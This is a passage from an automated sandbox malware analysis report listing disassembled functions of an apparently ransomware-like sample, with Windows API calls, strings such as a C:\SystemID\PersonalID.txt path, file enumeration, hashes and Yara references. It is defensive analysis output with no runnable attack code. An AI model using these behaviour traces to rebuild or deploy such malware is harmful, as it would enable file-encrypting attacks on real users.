SetErrorMode.KERNEL32(00000000), ref: 00790B02
GetDriveTypeA.KERNEL32(?), ref: 00790B1B

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: f6eccf986210076ff3fa1f46c15f7abb3e3a15bc42503ae86be9aa9de1065638
Instruction ID: db920989229ac390c04694f837df40166926731873e93bb1c2e514fa77ef4c8f
Opcode Fuzzy Hash: f6eccf986210076ff3fa1f46c15f7abb3e3a15bc42503ae86be9aa9de1065638
Instruction Fuzzy Hash: E6410171108340DFCB10DF68D899B0BBBE5FB95718F400A2CF495962A2D7B9C604CB93

Function 0078F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0078F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0078F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0078F1A1
CloseHandle.KERNEL32(00000000), ref: 0078F1A8

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: f062155e6212ff011096f31a36d4fbe2c0e4a3fe9275e8aa72a77130a7bfff83
Instruction ID: 5f7766438f7659d98eab4c031c917cd0918bd8463ba0dc4067c2a777ed4bee93
Opcode Fuzzy Hash: f062155e6212ff011096f31a36d4fbe2c0e4a3fe9275e8aa72a77130a7bfff83
Instruction Fuzzy Hash: 6C310435D40209EBDB14AF68DC4ABAE7B78FF05704F104129F815A71C1E7796A45CBA1

Function 0079B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0079B1BA

Part of subcall function 007911C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0079120F
Part of subcall function 007911C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00791228
Part of subcall function 007911C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0079123D
Part of subcall function 007911C0: MoveFileW.KERNEL32(00000000,?), ref: 00791277

Part of subcall function 0079BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0079BA4A
Part of subcall function 0079BA10: RegisterClassExW.USER32(00000030), ref: 0079BA73

Part of subcall function 0079BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0079BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0079B4B3
TranslateMessage.USER32(?), ref: 0079B4CD
DispatchMessageW.USER32(?), ref: 0079B4D7

Strings

%username%, xrefs: 0079B283
I:\5d2860c89d774.jpg, xrefs: 0079B32F

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 396de6202843262ce690a500170690dd539696cfee33f629acfd738e8a1c802e
Instruction ID: 573a5b1306c5a2a932152ab7d9a0271325c91152a4b23a0d4a27248386593bb1
Opcode Fuzzy Hash: 396de6202843262ce690a500170690dd539696cfee33f629acfd738e8a1c802e
Instruction Fuzzy Hash: 63511571514245DBCF18FB70E85AEEEB7A8BF95344F80482DF54643162EF38A609CB92

Function 0078C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0078C94B
_fputws.LIBCMT ref: 0078C9C6
_fputws.LIBCMT ref: 0078C9E8
_fputws.LIBCMT ref: 0078C9F3

Strings

C:\SystemID, xrefs: 0078C946
C:\SystemID\PersonalID.txt, xrefs: 0078C956

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: 6d4ae8fbd31e1506749cc48cdbabe3c9d362e88e39d383a8b1f945d09b91d129
Instruction ID: eb0be5369581b0e754463f6f5b8ff744ac2d53182750754fc54c8b1a45f4b0d7
Opcode Fuzzy Hash: 6d4ae8fbd31e1506749cc48cdbabe3c9d362e88e39d383a8b1f945d09b91d129
Instruction Fuzzy Hash: 5111E272D80305DBCF21EF68DC4578A77A0FF40314F008669E96992242E77AA9248BE2

Function 007A3B4C Relevance: 4.5, APIs: 3, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 007A3B64

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,00000001,?,?,?,007B0E81,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0CA5

std::exception::exception.LIBCMT ref: 007A3B82
__CxxThrowException@8.LIBCMT ref: 007A3B97

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,007CF299,?,?,?,?,?,?,?,007CF299,?,00888238,?), ref: 007B0F1F

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID:
API String ID: 3074076210-0
Opcode ID: 6a48a0896e75ad5e4cfeadc61ccdab8bdaaca75faf93e3da1d3cd8f4a69b35aa
Instruction ID: 927427aa09ecbdb1031e1fc592c3b4f5b3ca84be5da6fbdfb0172a3ec187b04c
Opcode Fuzzy Hash: 6a48a0896e75ad5e4cfeadc61ccdab8bdaaca75faf93e3da1d3cd8f4a69b35aa
Instruction Fuzzy Hash: 4BF0F47150020DA6CB00BEE8DC4AEDEB7A8EF42310F10466AFA14D2182DFBC9A4486E1

Function 007D4C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007D4AE0: GetStdHandle.KERNEL32(000000F4,007D4C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,007D480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,007D1D37,00000000,0078CDAE,00000001,00000001), ref: 007D4AFA
Part of subcall function 007D4AE0: GetFileType.KERNEL32(00000000), ref: 007D4B05
Part of subcall function 007D4AE0: __vfwprintf_p.LIBCMT ref: 007D4B27

_raise.LIBCMT ref: 007D4C18

Part of subcall function 007AA12E: __getptd_noexit.LIBCMT ref: 007AA16B

Part of subcall function 007A7CEC: _doexit.LIBCMT ref: 007A7CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 007D4C0C

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: 44c2393162d2593dd86ffaca659cdc23027452c2baa79b119d7e4e7f93cf4b86
Instruction ID: ebf1d959daded786d0387fecb1bb9302dd0fa1921575694b7250d8c69a6b9b45
Opcode Fuzzy Hash: 44c2393162d2593dd86ffaca659cdc23027452c2baa79b119d7e4e7f93cf4b86
Instruction Fuzzy Hash: 5DD09E79588204FFD9053794EC0BA1E7AA5BFC4714F40C424F6AA041A2D7768124E75B

Function 0078FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0078FF4D
_wcsstr.LIBCMT ref: 0078FF7E
_wcsstr.LIBCMT ref: 0078FFC4
_wcsstr.LIBCMT ref: 0078FFEF
_wcsstr.LIBCMT ref: 0079001C
FindNextFileW.KERNELBASE(?,?), ref: 0079005A
FindClose.KERNEL32(?), ref: 0079006C

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: c5b8105c672b9ab9223f80c7feb166e8df94cc3269e8c008f69e578555a8dd0c
Instruction ID: 515e1994a953dcf073ec52d348df512ae68d1661f7d5828cfbcb5879324cef19
Opcode Fuzzy Hash: c5b8105c672b9ab9223f80c7feb166e8df94cc3269e8c008f69e578555a8dd0c
Instruction Fuzzy Hash: C4519F70D10219CAEF20EF64DC597DEB7B5BF11308F0041A9D50D67252EB7A9A89CF62

Function 007A3A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

__lock_file.LIBCMT ref: 007A3A7D

Part of subcall function 007A0E53: __lock.LIBCMT ref: 007A0E76

__fclose_nolock.LIBCMT ref: 007A3A88

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 95587cad56f1a7f5fec1e63edd5cdb4472c41d30f0c603d07c551e661b1f7329
Instruction ID: 71581d20d16e2c4e204422e92e8421fbbad4998f29f7c103a0e387df29874fa6
Opcode Fuzzy Hash: 95587cad56f1a7f5fec1e63edd5cdb4472c41d30f0c603d07c551e661b1f7329
Instruction Fuzzy Hash: 21F09631D05714EAD710BF65480575E6A946FC3335F14C344F4A49A1C1CB7C8B019F52

Function 007AFB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 007AFB7B

Part of subcall function 007A8AF7: __mtinitlocknum.LIBCMT ref: 007A8B09
Part of subcall function 007A8AF7: __amsg_exit.LIBCMT ref: 007A8B15
Part of subcall function 007A8AF7: EnterCriticalSection.KERNEL32(00000000,?,007A50D7,0000000D), ref: 007A8B22

__tzset_nolock.LIBCMT ref: 007AFB8E

Part of subcall function 007AFE47: __lock.LIBCMT ref: 007AFE6C
Part of subcall function 007AFE47: ____lc_codepage_func.LIBCMT ref: 007AFEB3
Part of subcall function 007AFE47: __getenv_helper_nolock.LIBCMT ref: 007AFED4
Part of subcall function 007AFE47: _free.LIBCMT ref: 007AFF07
Part of subcall function 007AFE47: _strlen.LIBCMT ref: 007AFF0E
Part of subcall function 007AFE47: __malloc_crt.LIBCMT ref: 007AFF15

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 69230525ee65ae80989fdb57be3f99ffc759a949b5dbeea9fac83dc020332c96
Instruction ID: 16b37fd91a0aaa5cabd54c6a29c80de8019d246ba5c5fbef3df21c5758ba657b
Opcode Fuzzy Hash: 69230525ee65ae80989fdb57be3f99ffc759a949b5dbeea9fac83dc020332c96
Instruction Fuzzy Hash: FDE0ECB5945645DAEB60F7F0D91E7187170BB82366F689326F420511D29FBE0584CA33

Function 007A7B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 007A7B11

Part of subcall function 007A7AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,007A7B16,00000000,?,007A8BCA,000000FF,0000001E,00887BD0,00000008,007A8B0E,00000000,00000000), ref: 007A7AE6
Part of subcall function 007A7AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 007A7AF8

ExitProcess.KERNEL32 ref: 007A7B1A

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: a7b69ab8bdc2edc9d33bc6dc77dc437b68e8722e44ee8602fea12df1fe3c57a4
Instruction ID: 17df9c42b8688aa0583c470ed5043798eaa033e1395a30318c7fdf4f93d06514
Opcode Fuzzy Hash: a7b69ab8bdc2edc9d33bc6dc77dc437b68e8722e44ee8602fea12df1fe3c57a4
Instruction Fuzzy Hash: 0DB09230006108BBCB092F55DC0A85D7F69EB42390B008020F90408032EBB2AA91DAC0

Function 007918C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007918DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 007918E9

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 70ec729962a8aaeed9aa2f424153c60d54689716d7d36062e788bc6bceb6134e
Instruction ID: 87823f960dcb646dd9637e3f0f099dcb1833c93878970b58db937856323104d9
Opcode Fuzzy Hash: 70ec729962a8aaeed9aa2f424153c60d54689716d7d36062e788bc6bceb6134e
Instruction Fuzzy Hash: 69E08636A019149BCB209B98EC80B9CB379F785730F604369D819732D047792D119944

Function 00796950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 007969DF

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: ed262d72437b08df6a0bb236987bf4d7b1cbdf1ecbd1c91b227522f35cd140a4
Instruction ID: 182571620e1eb5d2f19aebd45bc31fde2d1c1bfa082773bd2cb6411b36156429
Opcode Fuzzy Hash: ed262d72437b08df6a0bb236987bf4d7b1cbdf1ecbd1c91b227522f35cd140a4
Instruction Fuzzy Hash: 4831D2B1A00605DBCF24DF68D88166EB7F9EB45720F20833DE856D7781DB389E048BA1

Function 00796760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 007967E6

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 81dccdcc2527acd3dae999e07fb0c8fd4fd465cd2f1f792b76999c89cabb19fd
Instruction ID: f753c9524435dea5d03621069771123e745ddeeb327604c624ea14c988473d8c
Opcode Fuzzy Hash: 81dccdcc2527acd3dae999e07fb0c8fd4fd465cd2f1f792b76999c89cabb19fd
Instruction Fuzzy Hash: E331F0B5E00605DBDF24CF68D980B6EBBF4EB40760F10072DE86697780E7389A40C7A2

Function 00796570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 007965C5

Part of subcall function 007A3B4C: _malloc.LIBCMT ref: 007A3B64

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: d268fe8c13bd0735054a3fdb0bb31011e5475300490567e013ff1aecb422a6ac
Instruction ID: 979ab95171202aef237eb533af711c12be1e0c06fb586968706ec1bfa884b1de
Opcode Fuzzy Hash: d268fe8c13bd0735054a3fdb0bb31011e5475300490567e013ff1aecb422a6ac
